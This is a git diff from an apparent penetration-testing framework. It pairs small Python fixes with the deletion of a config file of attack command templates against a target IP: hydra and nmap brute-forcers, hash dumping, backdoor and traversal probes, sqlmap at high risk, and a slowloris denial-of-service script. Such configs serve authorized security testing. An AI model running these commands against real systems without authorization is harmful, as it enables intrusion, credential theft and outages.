qProcessExitCode=qProcess.exitCode())) - # self.processCrashed(qProcess) - log.info("Process {qProcessId} is done!".format(qProcessId=qProcess.id)) processRepository.storeProcessOutput(str(qProcess.id), qProcess.display.toPlainText()) @@ -868,7 +872,7 @@ def processFinished(self, qProcess): self.view.findFinishedBruteTab(str(processRepository.getPIDByProcessId(str(qProcess.id)))) try: - self.fastProcessesRunning =- 1 + self.fastProcessesRunning -= 1 self.checkProcessQueue() self.processes.remove(qProcess) self.updateUITimer.stop() @@ -904,6 +908,13 @@ def scheduler(self, parser, isNmapImport): log.info('-----------------------------------------------') log.info('Scheduler ended!') + def findDuplicateTab(self, tabWidget, tabName): + for i in range(tabWidget.count()): + log.debug("Tab text for {0}: {1}".format(str(i), str(tabWidget.tabText(i)))) + if tabWidget.tabText(i) == tabName: + return True + return False + def runToolsFor(self, service, hostname, ip, port, protocol='tcp'): log.info('Running tools for: ' + service + ' on ' + ip + ':' + port) @@ -932,8 +943,11 @@ def runToolsFor(self, service, hostname, ip, port, protocol='tcp'): command = str(a[2]) command = command.replace('[IP]', ip).replace('[PORT]', port)\ .replace('[OUTPUT]', outputfile) - log.debug("Running tool command " + str(command)) + log.debug("Running tool command: {0}".format(str(command))) + if self.findDuplicateTab(self.view.ui.ServicesTabWidget, tabTitle): + log.debug("Duplicate tab name. Tool might have already run.") + break tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) self.runCommand(tool[0], tabTitle, ip, port, protocol, command, getTimestamp(True), diff --git a/custom_configs/large_scope_custom_ports.conf b/custom_configs/large_scope_custom_ports.conf deleted file mode 100644 index 693b5de4..00000000 --- a/custom_configs/large_scope_custom_ports.conf +++ /dev/null @@ -1,323 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" -process-tab-detail=false - -[GeneralSettings] -default-terminal=xterm -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan -python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql 